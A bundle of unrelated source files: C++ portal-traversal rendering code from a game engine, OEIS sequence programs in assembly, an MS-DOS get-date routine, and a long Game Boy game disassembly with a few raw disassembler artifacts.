using LVecIt = LVec::iterator;
static LVec V; V.resize(poly.size()+2);
Fvector C = {0,0,0};
for (u32 k=0; k<poly.size(); k++){ C.add(poly[k]); V[k+1].set(poly[k],0x800000FF);}
V.back().set (poly[0],0x800000FF);
C.div ((float)poly.size());
V[0].set (C,0x800000FF);
RCache.set_xform_world(Fidentity);
// draw solid
RCache.set_Shader (dxRenderDeviceRender::Instance().m_SelectionShader);
RCache.dbg_Draw (D3DPT_TRIANGLEFAN,&*V.begin(),V.size()-2);
// draw wire
if (bDebug){
RImplementation.rmNear();
}else{
Device.SetNearer(TRUE);
}
RCache.set_Shader (dxRenderDeviceRender::Instance().m_WireShader);
RCache.dbg_Draw (D3DPT_LINESTRIP,&*(V.begin()+1),V.size()-2);
if (bDebug){
RImplementation.rmNormal();
}else{
Device.SetNearer(FALSE);
}
}
}
#endif
//
void CPortal::Setup (Fvector* V, int vcnt, CSector* face, CSector* back)
{
// calc sphere
Fbox BB;
BB.invalidate ();
for (int v=0; v<vcnt; v++)
BB.modify (V[v]);
BB.getsphere (S.P,S.R);
//
poly.assign (V,vcnt);
pFace = face;
pBack = back;
marker = 0xffffffff;
Fvector N,T;
N.set (0,0,0);
FPU::m64r();
u32 _cnt = 0;
for (int i=2; i<vcnt; i++) {
T.mknormal_non_normalized (poly[0],poly[i-1],poly[i]);
float m = T.magnitude ();
if (m>EPS_S) {
N.add (T.div(m)) ;
_cnt ++ ;
}
}
R_ASSERT2 (_cnt, "Invalid portal detected");
N.div (float(_cnt));
P.build (poly[0],N);
FPU::m24r ();
/*
if (_abs(1-P.n.magnitude())<EPS)
Debug.fatal (DEBUG_INFO,"Degenerated portal found at {%3.2f,%3.2f,%3.2f}.",VPUSH(poly[0]));
*/
}
//
CSector::~CSector()
{
}
//
extern float r_ssaDISCARD ;
extern float r_ssaLOD_A, r_ssaLOD_B ;
void CSector::traverse (CFrustum &F, _scissor& R_scissor)
{
// Register traversal process
if (r_marker != PortalTraverser.i_marker) {
r_marker = PortalTraverser.i_marker;
PortalTraverser.r_sectors.push_back (this);
r_frustums.clear ();
r_scissors.clear ();
}
r_frustums.push_back (F);
r_scissors.push_back (R_scissor);
// Search visible portals and go through them
sPoly S,D;
for (u32 I=0; I<m_portals.size(); I++)
{
if (m_portals[I]->marker == PortalTraverser.i_marker) continue;
CPortal* PORTAL = m_portals[I];
CSector* pSector;
// Select sector (allow intersecting portals to be finely classified)
if (PORTAL->bDualRender) {
pSector = PORTAL->getSector (this);
} else {
pSector = PORTAL->getSectorBack (PortalTraverser.i_vBase);
if (pSector==this) continue;
if (pSector==PortalTraverser.i_start) continue;
}
// Early-out sphere
if (!F.testSphere_dirty(PORTAL->S.P,PORTAL->S.R)) continue;
// SSA (if required)
if (PortalTraverser.i_options&CPortalTraverser::VQ_SSA)
{
Fvector dir2portal;
dir2portal.sub (PORTAL->S.P, PortalTraverser.i_vBase);
float R = PORTAL->S.R ;
float distSQ = dir2portal.square_magnitude();
float ssa = R*R/distSQ;
dir2portal.div (_sqrt(distSQ));
ssa *= _abs(PORTAL->P.n.dotproduct(dir2portal));
if (ssa<r_ssaDISCARD) continue;
if (PortalTraverser.i_options&CPortalTraverser::VQ_FADE) {
if (ssa<r_ssaLOD_A) PortalTraverser.fade_portal (PORTAL,ssa);
if (ssa<r_ssaLOD_B) continue ;
}
}
// Clip by frustum
svector<Fvector,8>& POLY = PORTAL->getPoly();
S.assign (&*POLY.begin(),POLY.size()); D.clear();
sPoly* P = F.ClipPoly(S,D);
if (0==P) continue;
// Scissor and optimized HOM-testing
_scissor scissor ;
if (PortalTraverser.i_options&CPortalTraverser::VQ_SCISSOR && (!PORTAL->bDualRender))
{
// Build scissor rectangle in projection-space
Fbox2 bb; bb.invalidate(); float depth = flt_max;
sPoly& p = *P;
for (u32 vit=0; vit<p.size(); vit++) {
Fvector4 t;
Fmatrix& M = PortalTraverser.i_mXFORM_01;
Fvector& v = p[vit];
t.x = v.x*M._11 + v.y*M._21 + v.z*M._31 + M._41;
t.y = v.x*M._12 + v.y*M._22 + v.z*M._32 + M._42;
t.z = v.x*M._13 + v.y*M._23 + v.z*M._33 + M._43;
t.w = v.x*M._14 + v.y*M._24 + v.z*M._34 + M._44;
t.mul (1.f/t.w);
if (t.x < bb.min.x) bb.min.x = t.x;
if (t.x > bb.max.x) bb.max.x = t.x;
if (t.y < bb.min.y) bb.min.y = t.y;
if (t.y > bb.max.y) bb.max.y = t.y;
if (t.z < depth) depth = t.z;
}
// Msg ("bb(%s): (%f,%f)-(%f,%f), d=%f", PORTAL->bDualRender?"true":"false",bb.min.x, bb.min.y, bb.max.x, bb.max.y,depth);
if (depth<EPS) {
scissor = R_scissor;
// Cull by HOM (slower algo)
if (
(PortalTraverser.i_options&CPortalTraverser::VQ_HOM) &&
(!RImplementation.HOM.visible(*P))
) continue;
} else {
// perform intersection (this is just to be sure, it is probably clipped in 3D already)
if (bb.min.x > R_scissor.min.x) scissor.min.x = bb.min.x; else scissor.min.x = R_scissor.min.x;
if (bb.min.y > R_scissor.min.y) scissor.min.y = bb.min.y; else scissor.min.y = R_scissor.min.y;
if (bb.max.x < R_scissor.max.x) scissor.max.x = bb.max.x; else scissor.max.x = R_scissor.max.x;
if (bb.max.y < R_scissor.max.y) scissor.max.y = bb.max.y; else scissor.max.y = R_scissor.max.y;
scissor.depth = depth;
// Msg ("scissor: (%f,%f)-(%f,%f)", scissor.min.x, scissor.min.y, scissor.max.x, scissor.max.y);
// Check if box is non-empty
if (scissor.min.x >= scissor.max.x) continue;
if (scissor.min.y >= scissor.max.y) continue;
// Cull by HOM (faster algo)
if (
(PortalTraverser.i_options&CPortalTraverser::VQ_HOM) &&
(!RImplementation.HOM.visible(scissor,depth))
) continue;
}
} else {
scissor = R_scissor;
// Cull by HOM (slower algo)
if (
(PortalTraverser.i_options&CPortalTraverser::VQ_HOM) &&
(!RImplementation.HOM.visible(*P))
) continue;
}
// Create _new_ frustum and recurse
CFrustum Clip;
Clip.CreateFromPortal (P, PORTAL->P.n, PortalTraverser.i_vBase,PortalTraverser.i_mXFORM);
PORTAL->marker = PortalTraverser.i_marker;
PORTAL->bDualRender = FALSE;
pSector->traverse (Clip,scissor);
}
}
void CSector::load (IReader& fs)
{
// Assign portal polygons
u32 size = fs.find_chunk(fsP_Portals); R_ASSERT(0==(size&1));
u32 count = size/2;
m_portals.reserve (count);
while (count) {
u16 ID = fs.r_u16();
CPortal* P = (CPortal*)RImplementation.getPortal (ID);
m_portals.push_back(P);
count--;
}
if (g_dedicated_server) m_root = 0;
else {
// Assign visual
size = fs.find_chunk(fsP_Root); R_ASSERT(size==4);
m_root = (dxRender_Visual*)RImplementation.getVisual (fs.r_u32());
}
}
|
; A200310: a(n) = n-1 for n <= 4, otherwise if n is even then a(n) = a(n-5)+2^(n/2), and if n is odd then a(n) = a(n-1)+2^((n-3)/2).
; Submitted by Christian Krause
; 0,1,2,3,5,8,12,18,26,37,53,76,108,154,218,309,437,620,876,1242,1754,2485,3509,4972,7020,9946,14042,19893,28085,39788,56172,79578,112346,159157,224693,318316,449388,636634,898778,1273269,1797557,2546540,3595116,5093082,7190234,10186165,14380469
mov $3,1
lpb $0
sub $0,1
add $2,2
add $2,$3
mov $3,$1
mov $1,$2
sub $1,$3
add $2,5
lpe
mov $0,$2
div $0,7
|
page ,132
;*****************************************************************************;
; ;
; FILE NAME: getdate.asm ;
; ;
; DESCRIPTION: MS-DOS get date function 2AH ;
; ;
; NOTES: ;
; ;
; HISTORY: ;
; 2001/12/21 JFL Created this file. ;
; ;
; (c) Copyright 2001-2017 Hewlett Packard Enterprise Development LP ;
; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ;
;*****************************************************************************;
INCLUDE ADEFINE.INC
INCLUDE DOS.INC ; For the DOS call macros
.CODE
;-----------------------------------------------------------------------------;
; ;
; Function: _dos_getdate ;
; ;
; Description: MS-DOS get file time function 2AH ;
; ;
; Parameters: BX = Pointer to a _dosdate_t structure ;
; ;
; Returns: Updated _dosdate_t structure. ;
; ;
; Notes: Assumes a _dosdate_t structure different from that of MSVC.
; ;
; Regs altered: AX, CX, DX. ;
; ;
; History: ;
; ;
; 2001/12/21 JFL Created this routine ;
; ;
;-----------------------------------------------------------------------------;
CFASTPROC _dos_getdate
mov ah, 2AH
int 21H
mov WORD ptr [bx], dx ; DL=day, DH=month
mov WORD ptr [bx+2], cx ; CX=Year
mov BYTE ptr [bx+4], al ; AL=day of week
ret
ENDCFASTPROC _dos_getdate
END
|
; A064801: Take 1, skip 2, take 2, skip 3, take 3, etc.
; 1,4,5,9,10,11,16,17,18,19,25,26,27,28,29,36,37,38,39,40,41,49,50,51,52,53,54,55,64,65,66,67,68,69,70,71,81,82,83,84,85,86,87,88,89,100,101,102,103,104,105,106,107,108,109,121,122,123,124,125,126,127,128,129,130,131,144,145,146,147,148,149,150,151,152,153,154,155,169,170,171,172,173,174,175,176,177,178,179,180,181,196,197,198,199,200,201,202,203,204,205,206,207,208,209,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502
mov $1,$0
add $0,1
lpb $0,1
add $2,1
trn $0,$2
add $1,$2
lpe
|
call func_3daf
ld hl, $c330
add hl, bc
ld [hl], b
ld hl, $c260
add hl, bc
ld [hl], b
ld hl, $c270
add hl, bc
ld [hl], b
ld hl, $c320
add hl, bc
ld [hl], b
ld hl, $c290
add hl, bc
ld [hl], b
ld hl, $c2a0
add hl, bc
ld [hl], b
ld hl, $c2b0
add hl, bc
ld [hl], b
ld hl, $c2c0
add hl, bc
ld [hl], b
ld hl, $c2d0
add hl, bc
ld [hl], b
ld hl, $c440
add hl, bc
ld [hl], b
ld hl, $c390
add hl, bc
ld [hl], b
ld hl, $c2e0
add hl, bc
ld [hl], b
ld hl, $c2f0
add hl, bc
ld [hl], b
ld hl, $c300
add hl, bc
ld [hl], b
ld hl, $c310
add hl, bc
ld [hl], b
ld hl, $c380
add hl, bc
ld [hl], b
xor a
call func_3b87
ld hl, $c3d0
add hl, bc
ld [hl], b
ld hl, $c360
add hl, bc
ld [hl], b
ld hl, $c410
add hl, bc
ld [hl], b
ld hl, $c220
add hl, bc
ld [hl], b
ld hl, $c230
add hl, bc
ld [hl], b
ld hl, $c470
add hl, bc
ld [hl], b
ld hl, $c450
add hl, bc
ld [hl], b
ld hl, $c480
add hl, bc
ld [hl], b
ld hl, $c490
add hl, bc
ld [hl], b
ld hl, $c420
add hl, bc
ld [hl], b
ld hl, $c4e0
add hl, bc
ld [hl], b
ld hl, $c4f0
add hl, bc
ld [hl], b
ld hl, $c5d0
add hl, bc
ld [hl], $ff
ret
ldh a, [$ff00 + $f8]
and $20
jp nz, $7c35
call func_7b20
ldh a, [$ff00 + $f0]
rst 0
xor l
ld b, b
cp h
ld b, b
jp nc, .l_fa40
set 0, c
and a
jr z, 0.l_40bb
call func_3b8d
call func_0891
ld [hl], $20
ret
ld a, $02
ldh [$ff00 + $a1], a
ld [$c167], a
call func_0891
jr nz, 0.l_40d1
ld [hl], $30
ld a, $11
ldh [$ff00 + $f4], a
call func_3b8d
ret
ld a, $02
ldh [$ff00 + $a1], a
call func_0891
jr nz, 0.l_40ec
ld [$c167], a
ld [$c155], a
ld a, $39
call func_2197
call func_7ce4
jp $7c35
ld e, $01
and $04
jr z, 0.l_40f4
ld e, $ff
ld a, e
ld [$c155], a
ret
ldhl sp, d
stop
ld a, [$1110]
ld sp, hl
ld b, b
call func_3c3b
call func_7b20
xor a
ldh [$ff00 + $e8], a
ldh a, [$ff00 + $f0]
rst 0
stop
ld b, c
inc h
ld b, c
ld hl, $c210
add hl, bc
ld a, [hl]
ld hl, $c2c0
add hl, bc
ld [hl], a
add a, $10
ld hl, $c2b0
add hl, bc
ld [hl], a
jp $3b8d
ldh a, [$ff00 + $ba]
cp $02
jr z, $5416c
and a
jr z, 0.l_414a
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $0a
jr c, 0.l_4149
ld [hl], b
ld a, $11
ldh [$ff00 + $f4], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, bc
cp [hl]
jr z, 0.l_4149
dec [hl]
ret
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, bc
cp [hl]
jr z, 0.l_4168
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
cp $0d
jr c, $5416c
ld [hl], b
ld hl, $c210
add hl, bc
inc [hl]
jr $5416c
ld hl, $ffe8
inc [hl]
call func_3dba
call func_7bdf
add a, $0c
cp $18
jr nc, 0.l_41c6
call func_7bef
add a, $10
cp $1c
jr nc, 0.l_41c6
call func_0942
call func_1495
call func_7c0e
ld a, e
cp $00
jr nz, 0.l_4196
ldh a, [$ff00 + $ee]
add a, $0c
ldh [$ff00 + $98], a
ret
cp $01
jr nz, 0.l_41a1
ldh a, [$ff00 + $ee]
add a, $f4
ldh [$ff00 + $98], a
ret
cp $02
jr nz, 0.l_41b6
ldh a, [$ff00 + $eb]
cp $47
jr nz, 0.l_41af
ldh a, [$ff00 + $e8]
and a
ret nz
ldh a, [$ff00 + $ec]
add a, $f0
ldh [$ff00 + $99], a
ret
ldh a, [$ff00 + $eb]
cp $46
jr nz, 0.l_41c0
ldh a, [$ff00 + $e8]
and a
ret nz
ldh a, [$ff00 + $ec]
add a, $0c
ldh [$ff00 + $99], a
ret
ld de, $40f9
call func_3c3b
call func_7b20
xor a
ldh [$ff00 + $e8], a
ldh a, [$ff00 + $f0]
rst 0
jp c, .l_ee41
ld b, c
ld hl, $c210
add hl, bc
ld a, [hl]
ld hl, $c2c0
add hl, bc
ld [hl], a
sub a, $10
ld hl, $c2b0
add hl, bc
ld [hl], a
jp $3b8d
ldh a, [$ff00 + $ba]
cp $02
jr z, 0.l_4236
and a
jr z, 0.l_4214
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $0a
jr c, 0.l_4213
ld [hl], b
ld a, $11
ldh [$ff00 + $f4], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, bc
cp [hl]
jr z, 0.l_4213
inc [hl]
ret
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, bc
cp [hl]
jr z, 0.l_4232
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
cp $0d
jr c, 0.l_4236
ld [hl], b
ld hl, $c210
add hl, bc
dec [hl]
jr 0.l_4236
ld hl, $ffe8
inc [hl]
call func_416c
ret
ld de, $40f9
call func_3c3b
call func_7b20
xor a
ldh [$ff00 + $e8], a
ldh a, [$ff00 + $f0]
rst 0
ld c, l
ld b, d
ld h, c
ld b, d
ld hl, $c200
add hl, bc
ld a, [hl]
ld hl, $c2c0
add hl, bc
ld [hl], a
add a, $10
ld hl, $c2b0
add hl, bc
ld [hl], a
jp $3b8d
ldh a, [$ff00 + $ba]
cp $02
jr z, 0.l_42a9
and a
jr z, 0.l_4287
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $0a
jr c, 0.l_4286
ld [hl], b
ld a, $11
ldh [$ff00 + $f4], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, bc
cp [hl]
jr z, 0.l_4286
dec [hl]
ret
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, bc
cp [hl]
jr z, 0.l_42a5
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
cp $0d
jr c, 0.l_42a9
ld [hl], b
ld hl, $c200
add hl, bc
inc [hl]
jr 0.l_42a9
ld hl, $ffe8
inc [hl]
call func_416c
ret
ld de, $40f9
call func_3c3b
call func_7b20
xor a
ldh [$ff00 + $e8], a
ldh a, [$ff00 + $f0]
rst 0
ret nz
ld b, d
call nc, func_2142
nop
jp nz, .l_7e09
ld hl, $c2c0
add hl, bc
ld [hl], a
sub a, $10
ld hl, $c2b0
add hl, bc
ld [hl], a
jp $3b8d
ldh a, [$ff00 + $ba]
cp $02
jr z, 0.l_431c
and a
jr z, 0.l_42fa
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $0a
jr c, 0.l_42f9
ld [hl], b
ld a, $11
ldh [$ff00 + $f4], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, bc
cp [hl]
jr z, 0.l_42f9
inc [hl]
ret
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, bc
cp [hl]
jr z, 0.l_4318
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
cp $0d
jr c, 0.l_431c
ld [hl], b
ld hl, $c200
add hl, bc
dec [hl]
jr 0.l_431c
ld hl, $ffe8
inc [hl]
call func_416c
ret
ld e, b
nop
ld e, b
jr nz, 0.l_4346
ld h, b
jp .l_3609
rst 38
call func_0891
rl a
and $10
ldh [$ff00 + $ed], a
ld de, $4320
call func_3c3b
call func_7b20
call func_08e2
call func_3beb
call func_7a85
call func_3b9e
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr z, 0.l_4364
ld [hl], b
ld a, [$d6f8]
and a
jr nz, 0.l_4364
ld a, $01
ld [$d6f8], a
call func_0891
ld [hl], $18
ld a, $0e
ldh [$ff00 + $f3], a
ret
ldh a, [$ff00 + $f0]
and a
jp nz, .l_43ca
call func_7b20
call func_0891
jr nz, 0.l_43ad
call func_27ed
and $3f
add a, $30
ld [hl], a
ldh a, [$ff00 + $99]
cp $18
ret c
ld a, $45
call func_3c01
ret c
call func_27ed
rl a
rl a
rl a
rl a
and $70
add a, $18
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $c210
add hl, de
ld [hl], $10
ld hl, $c340
add hl, de
ld [hl], $12
ld hl, $c350
add hl, de
set 7, [hl]
ld hl, $c290
add hl, de
inc [hl]
ret
ld e, h
nop
ld e, [hl]
nop
ld e, [hl]
jr nz, 0.l_4411
jr nz, 0.l_4415
ld h, b
ld e, h
ld h, b
ld e, h
ld b, b
ld e, [hl]
ld b, b
inc c
<error>
dec b
ei
ld [$060a], sp
inc c
jr 0.l_43e8
inc e
jr z, 0.l_43dc
xor [hl]
ld b, e
call func_3c3b
call func_7b20
call func_08e2
call func_3bb4
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $03
call func_3b87
call func_7b8c
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_4430
ld [hl], b
call func_27ed
and $03
ld e, a
ld d, b
ld hl, $43be
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
call func_27ed
and $03
ld e, a
ld d, b
ld hl, $43c2
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_27ed
and $03
ld e, a
ld d, b
ld hl, $43c6
add hl, de
ld a, [hl]
ld hl, $c320
add hl, bc
ld [hl], a
ld a, $20
ldh [$ff00 + $f2], a
ldh a, [$ff00 + $ee]
cp $a8
jp nc, $7c35
ldh a, [$ff00 + $ec]
cp $84
jp nc, $7c35
ret
call func_7b20
ld e, $0f
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
cp $05
jr nz, 0.l_448d
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $08
jr nz, 0.l_448d
ld hl, $c2e0
add hl, de
ld a, [hl]
cp $08
jr nz, 0.l_448d
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_448d
ld hl, $c210
add hl, de
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_448d
ldh a, [$ff00 + $f6]
cp $df
ld a, $92
jr z, 0.l_4489
ld a, [$db79]
and a
ret nz
ld a, $43
call func_2197
ret
dec e
ld a, e
cp $ff
jr nz, 0.l_4445
ret
call func_7b20
call func_7ad3
ret nc
ld a, $12
call func_2197
ret
rst 38
nop
rst 38
nop
ld d, h
nop
ld d, [hl]
nop
ld e, b
nop
ld e, d
nop
ld d, [hl]
jr nz, 0.l_4504
jr nz, 0.l_450c
jr nz, 0.l_450c
jr nz, 0.l_4512
nop
ld e, h
jr nz, 0.l_4518
nop
ld e, [hl]
nop
ldh a, [$ff00 + $f1]
cp $ff
jr z, 0.l_44d9
cp $05
jr c, 0.l_44d3
sub a, $05
ldh [$ff00 + $f1], a
ld de, $44b5
call func_3cd0
jr 0.l_44d9
ld de, $44a1
call func_3c3b
call func_7b20
call func_7b42
call func_7b8c
call func_3b9e
ldh a, [$ff00 + $f0]
rst 0
xor $44
ld [bc], a
ld b, l
ld d, a
ld b, l
ld hl, $c240
add hl, bc
ld [hl], $08
call func_0891
call func_27ed
and $7f
add a, $40
ld [hl], a
jp $3b8d
call func_3bbf
call func_0891
jr nz, 0.l_4533
ld hl, $c340
add hl, bc
ld [hl], $12
ld hl, $c320
add hl, bc
ld [hl], $18
call func_3b8d
ld hl, $c240
add hl, bc
sla [hl]
ld a, $0e
ldh [$ff00 + $f2], a
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
add a, $00
ldh [$ff00 + $d8], a
ld a, $01
call func_0953
ret
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $03
jr z, 0.l_4544
ld hl, $c240
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ld hl, $c240
add hl, bc
ld e, $06
ld a, [hl]
and $80
jr z, 0.l_4551
ld e, $05
ld a, e
call func_3b87
ret
ret
call func_3bb4
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_458c
ld [hl], b
call func_451f
call func_0891
call func_27ed
and $7f
add a, $50
ld [hl], a
ld hl, $c240
add hl, bc
sra [hl]
ld hl, $c340
add hl, bc
ld [hl], $52
call func_3b8d
ld [hl], $01
ret
ld e, $01
ld hl, $c240
add hl, bc
ld a, [hl]
and $80
jr nz, 0.l_4599
ld e, $03
ld hl, $c320
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_45a3
inc e
ld a, e
call func_3b87
ret
nop
nop
ld b, [hl]
nop
nop
ld [$007e], sp
ldh a, [$ff00 + $00]
ld b, [hl]
nop
ldh a, [$ff00 + $08]
ld a, [hl]
nop
ldh [$ff00 + $00], a
ld b, [hl]
nop
ldh [$ff00 + $08], a
ld a, [hl]
nop
ret nc
nop
ld b, [hl]
nop
ret nc
ld [$007e], sp
ret nz
nop
ld b, [hl]
nop
ret nz
ld [$007e], sp
ld hl, $c3d0
add hl, bc
ld a, [hl]
add a, $01
sla a
ld c, a
ld hl, $45a8
call func_3d26
ld a, $0a
call func_3dd0
call func_7b20
ld a, [$db95]
cp $01
ret z
ldh a, [$ff00 + $f0]
rst 0
ei
ld b, l
inc bc
ld b, [hl]
inc l
ld b, [hl]
ld b, l
ld b, [hl]
ld l, b
ld b, [hl]
call func_0891
ld [hl], $c0
jp $3b8d
call func_0891
cp $40
jr nz, 0.l_4610
dec [hl]
ld a, $d7
jp $2197
and a
ret nz
ld a, $50
dec a
ldh [$ff00 + $d7], a
ld a, $30
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
ld a, $2f
ldh [$ff00 + $f2], a
ld a, $00
call func_3b87
jp $3b8d
ldh a, [$ff00 + $98]
sub a, $50
add a, $08
cp $10
jr nc, 0.l_4641
ldh a, [$ff00 + $99]
sub a, $30
add a, $08
cp $10
jr nc, 0.l_4641
ret
call func_3b8d
ret
ldh a, [$ff00 + $98]
sub a, $50
add a, $08
cp $10
jr nc, 0.l_4667
ldh a, [$ff00 + $99]
sub a, $30
add a, $08
cp $10
jr nc, 0.l_4667
ld a, [$c146]
and a
ret nz
call func_3b8d
ld hl, $c2b0
add hl, bc
ld [hl], $30
ret
ld a, $02
ldh [$ff00 + $a1], a
ld [$c167], a
ld hl, $c2b0
add hl, bc
ld a, [hl]
ldh [$ff00 + $99], a
ld a, $50
ldh [$ff00 + $98], a
ldh a, [$ff00 + $e7]
and $07
jr nz, 0.l_468a
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $04
jr z, 0.l_468a
inc [hl]
ldh a, [$ff00 + $e7]
and $03
jr nz, 0.l_46a4
ld hl, $c2b0
add hl, bc
dec [hl]
ld a, [hl]
cp $12
jr nc, 0.l_46a4
xor a
ld [$db96], a
ld a, $01
ld [$db95], a
ret
ld a, $02
ldh [$ff00 + $9e], a
ldh a, [$ff00 + $e7]
and $08
ld [$c120], a
push bc
call func_087c
pop bc
call func_093b
ld [$c137], a
ld [$c16a], a
ret
ld a, [$db56]
cp $80
jp nz, $7c35
ld hl, $c380
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_46d8
ldh a, [$ff00 + $f1]
cp $0c
jr nc, 0.l_46d8
add a, $06
ldh [$ff00 + $f1], a
call func_4adb
ldh a, [$ff00 + $ea]
cp $01
jr nz, 0.l_46e9
ld a, $0c
call func_48c6
jp .l_7c3b
call func_380e
call func_7b20
call func_7b42
call func_3bb4
ld hl, $c430
add hl, bc
set 6, [hl]
ld hl, $c340
add hl, bc
res 7, [hl]
call func_7b8c
call func_3b9e
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
ldh [$ff00 + $e8], a
jr z, 0.l_4722
ld [hl], b
ld hl, $c320
add hl, bc
ld [hl], b
ld hl, $c290
add hl, bc
ld a, [hl]
rst 0
inc a
ld b, a
ld e, b
ld b, a
adc a, e
ld b, a
ld c, h
ld c, b
add a, d
ld c, b
rst 18
ld c, b
ld e, h
ld c, c
adc a, b
ld c, c
xor l
ld c, c
<error>
ld c, c
call func_0891
ld [hl], $20
xor a
ld [$d228], a
call func_3b87
call func_3b8d
call func_7bdf
ld a, e
ld [$d227], a
ld hl, $c380
add hl, bc
ld [hl], a
ret
call func_0891
jr nz, 0.l_4780
ld a, $91
call func_2185
ld hl, $c19f
res 7, [hl]
call func_3b8d
call func_0887
ld [hl], $30
ld hl, $c430
add hl, bc
ld [hl], $84
ld a, $01
ld [$d228], a
ld a, $01
call func_3b87
ret
ret
ld [$fcf8], sp
<error>
jr nz, 0.l_4767
nop
nop
ret nc
jr nc, 0.l_4759
adc a, h
ld [$5f28], sp
cp $0c
jr nz, 0.l_47dc
ld a, $0c
call func_3c01
jr c, 0.l_47dc
ld a, $0a
ldh [$ff00 + $f4], a
push bc
ldh a, [$ff00 + $d9]
ld c, a
ld hl, $4781
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $4783
add hl, bc
ldh a, [$ff00 + $d8]
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $4785
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $4787
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, de
ld [hl], a
ldh a, [$ff00 + $d9]
ld hl, $c3b0
add hl, de
ld [hl], a
ld hl, $c380
add hl, de
ld [hl], a
pop bc
call func_088c
ld e, $00
cp $0c
jr c, 0.l_47e7
ld e, $02
ld a, e
call func_3b87
call func_3daf
ret
call func_0887
jr nz, 0.l_4800
call func_0891
ld [hl], $30
call func_3daf
call func_3b8d
ret
ldh a, [$ff00 + $e8]
and a
jr z, 0.l_4823
ldh a, [$ff00 + $98]
push af
call func_7bdf
ld d, b
ld hl, $4789
add hl, de
ldh a, [$ff00 + $98]
add a, [hl]
ldh [$ff00 + $98], a
ld a, $0c
call func_3c25
pop af
ldh [$ff00 + $98], a
ld hl, $c320
add hl, bc
ld [hl], $10
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
call func_3b87
ld [$d228], a
call func_474b
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_4849
call func_27ed
and $3f
add a, $30
ld [hl], a
call func_088c
ld [hl], $18
ret
jr z, 0.l_4824
call func_0891
jr nz, 0.l_486a
ld [hl], $22
call func_3daf
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $484a
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
call func_3b8d
ret
and $07
jr nz, 0.l_4872
ld a, $09
ldh [$ff00 + $f2], a
call func_3daf
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $02
call func_3b87
ret
call func_0891
jr nz, 0.l_488e
call func_3b8d
call func_3b8d
ret
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $03
jr z, 0.l_48be
xor a
ld [$c158], a
ld a, $20
ld [$c157], a
ld a, $0b
ldh [$ff00 + $f2], a
ld hl, $c240
add hl, bc
sra [hl]
sra [hl]
ld a, [hl]
cpl
inc a
ld [hl], a
ld hl, $c320
add hl, bc
ld [hl], $28
call func_3b8d
call func_0891
ld [hl], $60
ldh a, [$ff00 + $e7]
rr a
rr a
and $01
add a, $04
call func_3b87
ld a, $ff
ld [$d228], a
ret
nop
cp $fd
cp $00
ld [bc], a
inc bc
ld [bc], a
nop
inc b
ld [$100c], sp
inc c
ld [$2104], sp
jr nc, 0.l_48a6
add hl, bc
res 6, [hl]
